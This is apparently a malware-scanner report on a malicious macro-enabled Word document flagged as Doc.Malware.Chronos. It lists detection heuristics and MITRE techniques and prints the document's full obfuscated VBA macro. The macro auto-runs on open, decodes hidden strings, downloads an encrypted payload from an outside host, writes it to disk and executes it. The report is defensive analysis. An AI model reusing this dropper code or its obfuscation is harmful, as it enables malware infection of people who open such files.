MALICIOUS
400
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1140 Deobfuscate/Decode Files or Information
This OOXML document contains a VBA macro designed to execute upon opening, as indicated by the Document_Open macro firing and the critical heuristic for an obfuscated auto-exec loader. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common social engineering tactic to bypass macro security. The VBA script appears to be obfuscated and likely decodes or executes a payload, as suggested by the 'Deobfuscate/Decode Files or Information' technique.
Heuristics 12
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
GetObject 3, 10 -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set SwvGbB0on56G = CreateObject(OSKjPtcCMdE6j(Chr(157) + Chr(149) + Chr(218) + Chr(30) + Chr(188) + Chr(102) + Chr(252) + Chr(195) + Chr(32) + Chr(209) + Chr(116) + Chr(18) + Chr(149) + Chr(91) + Chr(245) + Chr(13) + Chr(168), "PYDyPB7kA")) -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
GetObject 3, 10 -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
CallByName RuN6PGqPh1t, 92, VbMethod, 14, 3, 37 -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
IqHZePLJpKN = Environ(OSKjPtcCMdE6j(Chr(134) + Chr(236) + Chr(6) + Chr(219) + Chr(123) + Chr(223) + Chr(104), "IdExOiXbuurRfl8JM")) & "\" & S680eL5GmcJV3 & OSKjPtcCMdE6j(Chr(93) + Chr(0) + Chr(115) + Chr(210), "X98dnRg") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12439 bytes |
SHA-256: 26d291ab79612f27e327a42a8edcd1f0e299215ea9dc7efe43f193ccb12fcfb1 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
87 of 174 identifiers look randomly generated (e.g. 'IdExOiXbuurRfl8JM') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function OSKjPtcCMdE6j(ByVal KOL3TzbwD As String, ByVal U8juuGt As String) As String Dim POF4A6oZOYpH As Long, PIiN As Long POF4A6oZOYpH = 70 PIiN = 68 If POF4A6oZOYpH + PIiN > 2 Then PIiN = POF4A6oZOYpH + 7 Else InputBox 12 End If On Error Resume Next Dim YdfLyn7 As Long, LseL9GUdM As Long YdfLyn7 = 56 LseL9GUdM = 85 If YdfLyn7 + LseL9GUdM > 2 Then LseL9GUdM = YdfLyn7 + 48 Else InputBox 60 End If Dim Qgp2tW1XRc(0 To 255) As Integer, Dv9WpG8 As Long, MGlrVhwFv02k6 As Long, XL5mwnTDLlB As Long, Tw1b3xXA9k() As Byte, Jq1nIcYlyu() As Byte, ArgVuwL08Y As Byte Dim G3cnRP5jP As Long, B3OpOYBy1 As Long G3cnRP5jP = 30 B3OpOYBy1 = 63 If G3cnRP5jP + B3OpOYBy1 > 2 Then B3OpOYBy1 = G3cnRP5jP + 91 Else InputBox 33 End If Tw1b3xXA9k() = StrConv(U8juuGt, vbFromUnicode) Dim Fl2zZQ As Long, VhSUBzJkEcK As Long Fl2zZQ = 6 VhSUBzJkEcK = 37 If Fl2zZQ + VhSUBzJkEcK > 2 Then VhSUBzJkEcK = Fl2zZQ + 44 Else InputBox 49 End If For Dv9WpG8 = 0 To 255 Qgp2tW1XRc(Dv9WpG8) = Dv9WpG8 Next Dv9WpG8 Dv9WpG8 = 0 MGlrVhwFv02k6 = 0 XL5mwnTDLlB = 0 For Dv9WpG8 = 0 To 255 MGlrVhwFv02k6 = (MGlrVhwFv02k6 + Qgp2tW1XRc(Dv9WpG8) + Tw1b3xXA9k(Dv9WpG8 Mod Len(U8juuGt))) Mod 256 ArgVuwL08Y = Qgp2tW1XRc(Dv9WpG8) Qgp2tW1XRc(Dv9WpG8) = Qgp2tW1XRc(MGlrVhwFv02k6) Qgp2tW1XRc(MGlrVhwFv02k6) = ArgVuwL08Y Next Dv9WpG8 Dv9WpG8 = 0 MGlrVhwFv02k6 = 0 XL5mwnTDLlB = 0 Jq1nIcYlyu() = StrConv(KOL3TzbwD, vbFromUnicode) For Dv9WpG8 = 0 To Len(KOL3TzbwD) MGlrVhwFv02k6 = (MGlrVhwFv02k6 + 1) Mod 256 XL5mwnTDLlB = (XL5mwnTDLlB + Qgp2tW1XRc(MGlrVhwFv02k6)) Mod 256 ArgVuwL08Y = Qgp2tW1XRc(MGlrVhwFv02k6) Qgp2tW1XRc(MGlrVhwFv02k6) = Qgp2tW1XRc(XL5mwnTDLlB) Qgp2tW1XRc(XL5mwnTDLlB) = ArgVuwL08Y Jq1nIcYlyu(Dv9WpG8) = Jq1nIcYlyu(Dv9WpG8) Xor (Qgp2tW1XRc((Qgp2tW1XRc(MGlrVhwFv02k6) + Qgp2tW1XRc(XL5mwnTDLlB)) Mod 256)) Next Dv9WpG8 Dim HbwDXb8IiAKE As Long, UJSE59WKx7 As Long HbwDXb8IiAKE = 24 UJSE59WKx7 = 34 If HbwDXb8IiAKE + UJSE59WKx7 > 2 Then UJSE59WKx7 = HbwDXb8IiAKE + 50 Else InputBox 30 End If OSKjPtcCMdE6j = StrConv(Jq1nIcYlyu, vbUnicode) Dim PQ5lQOmMjV4O As Long, PayOeicY5V5ZC As Long PQ5lQOmMjV4O = 3 PayOeicY5V5ZC = 46 If PQ5lQOmMjV4O + PayOeicY5V5ZC > 2 Then PayOeicY5V5ZC = PQ5lQOmMjV4O + 15 Else InputBox 35 End If End Function Sub XfQ6d01lVW() Dim IJMFi7l5kZa As Long, GzGvJZRKtRG As Long IJMFi7l5kZa = 45 GzGvJZRKtRG = 18 If IJMFi7l5kZa + GzGvJZRKtRG > 2 Then GzGvJZRKtRG = IJMFi7l5kZa + 26 Else InputBox 75 End If GetObject 3, 10 IsError 15 If CBool(98) = True Then WALWj5a3iYn = 47 Switch 76 Reset Load Tl81bW15Ru Atn 62 O6yGN49go = EOF(31) Sin 96 DateDiff "Gh14I733", 1, 41 Err.Clear SeQg6R6lmyUY3s6G = Day(95) IsDate 5 Join H5ShGMlGB8Kz, 31 Year 51 DateSerial 91, 17, 92 Hour 66 Month 19 KJTS00RZrA8bpmgc = Cos(10) YjVTBvQJw2tK = CurDir If IsMissing(61) = True Then BxWa5a = 59 If CByte(13) = True Then TnebhFxyzR9ho6 = 7711 If CCur(84) = True Then WzTtVPR6ZhqF = 9142 CallByName RuN6PGqPh1t, 92, VbMethod, 14, 3, 37 ChDrive 32 TimeSerial 75, 18, 65 TimeValue 49 MADNCH5ilmF = Fix(42) LOF 64 Loc 97 Dim Ez1AQfpdHG As Long, Uzt0Om As Long Ez1AQfpdHG = 51 Uzt0Om = 25 If Ez1AQfpdHG + Uzt0Om > 2 Then Uzt0Om = Ez1AQfpdHG + 77 Else InputBox 21 End If End Sub Sub Document_Open() Dim AX61IeS9 As Long, XJ5boLgEHqvUq As Long AX61IeS9 = 64 XJ5boLgEHqvUq = 78 If AX61IeS9 + XJ5boLgEHqvUq > 2 Then XJ5boLgEHqvUq = AX61IeS9 + 10 Else InputBox 61 End If Dim Jsn9k8owxunZC8q As Long, NvBZK3zIWc As Long, GRzGFMvFAwTz5 As Long Dim QO6ZorINUh0YxW As Long, MqK2vwpSFg As Long QO6ZorINUh0YxW = 96 MqK2vwpSFg = 28 If QO6ZorINUh0YxW + MqK2vwpSFg > 2 Then MqK2vwpSFg = QO6ZorINUh0YxW + 35 Else InputBox 40 End If Jsn9k8owxunZC8q = 985671669: NvBZK3zIWc = 0: GRzGFMvFAwTz5 = 0 Dim VTrknUphvS9Q As Long, Az0t4gJBe As Long VTrknUphvS9Q = 71 Az0t4gJBe = 76 If VTrknUphvS9Q + Az0t4gJBe > 2 Then Az0t4gJBe = VTrknUphvS9Q + 60 Else InputBox 9 End If For NvBZK3zIWc = 1 To Jsn9k8owxunZC8q GRzGFMvFAwTz5 = GRzGFMvFAwTz5 + 1 Next NvBZK3zIWc Dim Bfog350uASFg As Long, RggXXIVLXmXCm6uL As Long Bfog350uASFg = 56 RggXXIVLXmXCm6uL = 75 If Bfog350uASFg + RggXXIVLXmXCm6uL > 2 Then RggXXIVLXmXCm6uL = Bfog350uASFg + 16 Else InputBox 42 End If If GRzGFMvFAwTz5 = Jsn9k8owxunZC8q Then Dim GpaLyXqhQFThTEH As Long, SOsKrSyfMiGu As Long GpaLyXqhQFThTEH = 9 SOsKrSyfMiGu = 17 If GpaLyXqhQFThTEH + SOsKrSyfMiGu > 2 Then SOsKrSyfMiGu = GpaLyXqhQFThTEH + 66 Else InputBox 17 End If CXwtya9R2HDcVRv Dim CrCtO8nxmYwN As Long, C3vCslVbw As Long CrCtO8nxmYwN = 83 C3vCslVbw = 41 If CrCtO8nxmYwN + C3vCslVbw > 2 Then C3vCslVbw = CrCtO8nxmYwN + 92 Else InputBox 65 End If Else Dim YhCAlhue03gy As Long, IpY As Long YhCAlhue03gy = 28 IpY = 59 If YhCAlhue03gy + IpY > 2 Then IpY = YhCAlhue03gy + 66 Else InputBox 71 End If XfQ6d01lVW Dim N69fBeZQOx As Long, L0W8mAWuXf1e As Long N69fBeZQOx = 11 L0W8mAWuXf1e = 1 If N69fBeZQOx + L0W8mAWuXf1e > 2 Then L0W8mAWuXf1e = N69fBeZQOx + 57 Else InputBox 60 End If End If Dim F3mPoe8fTvND1nM As Long, B3sO8rHE As Long F3mPoe8fTvND1nM = 37 B3sO8rHE = 66 If F3mPoe8fTvND1nM + B3sO8rHE > 2 Then B3sO8rHE = F3mPoe8fTvND1nM + 7 Else InputBox 10 End If End Sub Function S680eL5GmcJV3() As String Dim FsA4evR73T0kUYz As Long, SwA3dRkK25PxEFb As Long FsA4evR73T0kUYz = 47 SwA3dRkK25PxEFb = 64 If FsA4evR73T0kUYz + SwA3dRkK25PxEFb > 2 Then SwA3dRkK25PxEFb = FsA4evR73T0kUYz + 11 Else InputBox 1 End If Dim Qudp0Qn02DZr() As Byte, SeLIXVSU5mCfYj() As Byte, VAH8dh As Long, UQEgAoZO0eF As Long, GLDaUyLSLF9jOq23 As String, WMznZC8q As String, OIjfDSCxQ As Long Dim VGNZmTQdrHE As Long, YEFbhc As Long VGNZmTQdrHE = 83 YEFbhc = 80 If VGNZmTQdrHE + YEFbhc > 2 Then YEFbhc = VGNZmTQdrHE + 89 Else InputBox 61 End If OIjfDSCxQ = 0 Dim Uynb32Df9zfSWFh6 As Long, RIz8B4tyYxYVtd As Long Uynb32Df9zfSWFh6 = 70 RIz8B4tyYxYVtd = 94 If Uynb32Df9zfSWFh6 + RIz8B4tyYxYVtd > 2 Then RIz8B4tyYxYVtd = Uynb32Df9zfSWFh6 + 48 Else InputBox 86 End If GtQDqLJy9NdAA3: Dim JPH7His As Long, EDPYNrHqcppN As Long JPH7His = 95 EDPYNrHqcppN = 45 If JPH7His + EDPYNrHqcppN > 2 Then EDPYNrHqcppN = JPH7His + 95 Else InputBox 18 End If Randomize WMznZC8q = Int(30 * Rnd) If WMznZC8q < 4 Then GoTo GtQDqLJy9NdAA3 OIjfDSCxQ = WMznZC8q If OIjfDSCxQ > 0& Then Dim SoqicL2oe As Long, AhopumSNxgZEdv As Long SoqicL2oe = 88 AhopumSNxgZEdv = 75 If SoqicL2oe + AhopumSNxgZEdv > 2 Then AhopumSNxgZEdv = SoqicL2oe + 89 Else InputBox 48 End If GLDaUyLSLF9jOq23 = OSKjPtcCMdE6j(Chr(138) + Chr(30) + Chr(209) + Chr(231) + Chr(16) + Chr(217) + Chr(81) + Chr(168) + Chr(224) + Chr(199), "DFbhcc4VoI") Randomize Qudp0Qn02DZr = GLDaUyLSLF9jOq23 VAH8dh = Len(GLDaUyLSLF9jOq23) - 1& OIjfDSCxQ = (OIjfDSCxQ * 2&) - 1& ReDim SeLIXVSU5mCfYj(OIjfDSCxQ) As Byte Dim TkJEnaQ9RpAt2Op9n As Long, W9NPAQVShag As Long TkJEnaQ9RpAt2Op9n = 29 W9NPAQVShag = 81 If TkJEnaQ9RpAt2Op9n + W9NPAQVShag > 2 Then W9NPAQVShag = TkJEnaQ9RpAt2Op9n + 97 Else InputBox 22 End If For UQEgAoZO0eF = 0& To OIjfDSCxQ Step 2& SeLIXVSU5mCfYj(UQEgAoZO0eF) = Qudp0Qn02DZr(CLng(VAH8dh * Rnd) * 2&) Next Dim Payf5HA As Long, TZ6TFMDw2Q0 As Long Payf5HA = 50 TZ6TFMDw2Q0 = 17 If Payf5HA + TZ6TFMDw2Q0 > 2 Then TZ6TFMDw2Q0 = Payf5HA + 17 Else InputBox 92 End If End If Dim PSF26mT As Long, BzOndDgM0lxw As Long PSF26mT = 69 BzOndDgM0lxw = 59 If PSF26mT + BzOndDgM0lxw > 2 Then BzOndDgM0lxw = PSF26mT + 16 Else InputBox 20 End If S680eL5GmcJV3 = SeLIXVSU5mCfYj Dim RWjOa8XqGD9 As Long, BJ935VzW6 As Long RWjOa8XqGD9 = 75 BJ935VzW6 = 68 If RWjOa8XqGD9 + BJ935VzW6 > 2 Then BJ935VzW6 = RWjOa8XqGD9 + 90 Else InputBox 96 End If End Function Sub L4HKO4q4b1(VnFa35qS As Long) Dim Pkrx6EPe3Vkvc6S As Long, YCfqQNNAu As Long Pkrx6EPe3Vkvc6S = 89 YCfqQNNAu = 72 If Pkrx6EPe3Vkvc6S + YCfqQNNAu > 2 Then YCfqQNNAu = Pkrx6EPe3Vkvc6S + 98 Else InputBox 19 End If Dim WAbFKEe As Long Dim O0tiCO As Long, DboMV As Long O0tiCO = 58 DboMV = 55 If O0tiCO + DboMV > 2 Then DboMV = O0tiCO + 64 Else InputBox 36 End If WAbFKEe = Timer + VnFa35qS Do While Timer < WAbFKEe DoEvents Loop Dim Pq1BkBD2 As Long, OeJu23xo As Long Pq1BkBD2 = 97 OeJu23xo = 36 If Pq1BkBD2 + OeJu23xo > 2 Then OeJu23xo = Pq1BkBD2 + 47 Else InputBox 62 End If End Sub Sub CXwtya9R2HDcVRv() Dim FPDT As Long, LqmSrzWOo7N As Long FPDT = 27 LqmSrzWOo7N = 75 If FPDT + LqmSrzWOo7N > 2 Then LqmSrzWOo7N = FPDT + 76 Else InputBox 28 End If Dim IqHZePLJpKN As String, SwvGbB0on56G As Object, YOcpKu4FN As Integer Dim SK6Fc As Long, QUC0vmluDE As Long SK6Fc = 58 QUC0vmluDE = 27 If SK6Fc + QUC0vmluDE > 2 Then QUC0vmluDE = SK6Fc + 48 Else InputBox 59 End If IqHZePLJpKN = Environ(OSKjPtcCMdE6j(Chr(134) + Chr(236) + Chr(6) + Chr(219) + Chr(123) + Chr(223) + Chr(104), "IdExOiXbuurRfl8JM")) & "\" & S680eL5GmcJV3 & OSKjPtcCMdE6j(Chr(93) + Chr(0) + Chr(115) + Chr(210), "X98dnRg") Dim Lwh9hORflM As Long, UeFK9KofAjEl1s As Long Lwh9hORflM = 18 UeFK9KofAjEl1s = 13 If Lwh9hORflM + UeFK9KofAjEl1s > 2 Then UeFK9KofAjEl1s = Lwh9hORflM + 2 Else InputBox 36 End If Set SwvGbB0on56G = CreateObject(OSKjPtcCMdE6j(Chr(157) + Chr(149) + Chr(218) + Chr(30) + Chr(188) + Chr(102) + Chr(252) + Chr(195) + Chr(32) + Chr(209) + Chr(116) + Chr(18) + Chr(149) + Chr(91) + Chr(245) + Chr(13) + Chr(168), "PYDyPB7kA")) Dim CrUCjmCKSVKMRYK As Long, I9yC9KuEh1F3zEo As Long CrUCjmCKSVKMRYK = 55 I9yC9KuEh1F3zEo = 29 If CrUCjmCKSVKMRYK + I9yC9KuEh1F3zEo > 2 Then I9yC9KuEh1F3zEo = CrUCjmCKSVKMRYK + 80 Else InputBox 24 End If SwvGbB0on56G.Open OSKjPtcCMdE6j(Chr(49) + Chr(102) + Chr(76), "JpxGsKLacJu"), OSKjPtcCMdE6j(Chr(141) + Chr(22) + Chr(128) + Chr(226) + Chr(57) + Chr(185) + Chr(167) + Chr(66) + Chr(66) + Chr(243) + Chr(16) + Chr(127) + Chr(54) + Chr(108) + Chr(179) + Chr(101) + Chr(123) + Chr(162) + Chr(153) + Chr(218) + Chr(127) + Chr(70) + Chr(246) + Chr(192) + Chr(158) + Chr(180) + Chr(84), "LliA27PvNSHbqS"), False Dim JYGWNxZ As Long, HcVcCnhMawmmcG As Long JYGWNxZ = 16 HcVcCnhMawmmcG = 91 If JYGWNxZ + HcVcCnhMawmmcG > 2 Then HcVcCnhMawmmcG = JYGWNxZ + 91 Else InputBox 44 End If SwvGbB0on56G.setRequestHeader OSKjPtcCMdE6j(Chr(4) + Chr(35) + Chr(243) + Chr(246) + Chr(24) + Chr(220) + Chr(9) + Chr(203) + Chr(252) + Chr(227), "KIFY5MMYDGkJlS"), OSKjPtcCMdE6j(Chr(197) + Chr(75) + Chr(53) + Chr(86) + Chr(108) + Chr(157) + Chr(91) + Chr(101) + Chr(252) + Chr(193) + Chr(190), "IXNI9u8cZk1YRp8e1") SwvGbB0on56G.send If SwvGbB0on56G.readyState = 4 And SwvGbB0on56G.Status = 200 Then Dim K1ayon9AA As Long, HWdxxXVo As Long K1ayon9AA = 21 HWdxxXVo = 31 If K1ayon9AA + HWdxxXVo > 2 Then HWdxxXVo = K1ayon9AA + 47 Else InputBox 27 End If YOcpKu4FN = FreeFile Open IqHZePLJpKN For Binary Access Write Lock Write As #YOcpKu4FN Put #YOcpKu4FN, , OSKjPtcCMdE6j(StrConv(SwvGbB0on56G.ResponseBody, vbUnicode), OSKjPtcCMdE6j(Chr(227) + Chr(134) + Chr(117) + Chr(46) + Chr(111) + Chr(20) + Chr(236) + Chr(75) + Chr(79), "SQj4RQbQ")) Close #YOcpKu4FN Dim XhORflMe1BJlu4C As Long, BJAwXU1PY As Long XhORflMe1BJlu4C = 31 BJAwXU1PY = 74 If XhORflMe1BJlu4C + BJAwXU1PY > 2 Then BJAwXU1PY = XhORflMe1BJlu4C + 43 Else InputBox 64 End If L4HKO4q4b1 1 Dim Wd86Lg7QmKY As Long, ENP3MK As Long Wd86Lg7QmKY = 29 ENP3MK = 53 If Wd86Lg7QmKY + ENP3MK > 2 Then ENP3MK = Wd86Lg7QmKY + 8 Else InputBox 45 End If CreateObject(OSKjPtcCMdE6j(Chr(129) + Chr(215) + Chr(193) + Chr(38) + Chr(218) + Chr(115) + Chr(35) + Chr(90) + Chr(159) + Chr(83) + Chr(252) + Chr(0) + Chr(211), "F1eQ91DNjdd")).exec """" & IqHZePLJpKN & """" Dim BP2bCZaL0s As Long, TsROzYqU As Long BP2bCZaL0s = 45 TsROzYqU = 33 If BP2bCZaL0s + TsROzYqU > 2 Then TsROzYqU = BP2bCZaL0s + 68 Else InputBox 62 End If End If Dim W1LBosA As Long, O0vbeO As Long W1LBosA = 38 O0vbeO = 94 If W1LBosA + O0vbeO > 2 Then O0vbeO = W1LBosA + 97 Else InputBox 60 End If Set SwvGbB0on56G = Nothing Dim B1fJaNDOc4z As Long, GRVM8W8ABm4fN As Long B1fJaNDOc4z = 91 GRVM8W8ABm4fN = 79 If B1fJaNDOc4z + GRVM8W8ABm4fN > 2 Then GRVM8W8ABm4fN = B1fJaNDOc4z + 15 Else InputBox 10 End If End Sub |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 32256 bytes |
SHA-256: 17e6c16aa3ad2d96d1eba2512463e475ab89c415074577e2847204a4b87c8dac |
|||
|
Detection
ClamAV:
Doc.Malware.Chronos-6897935-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.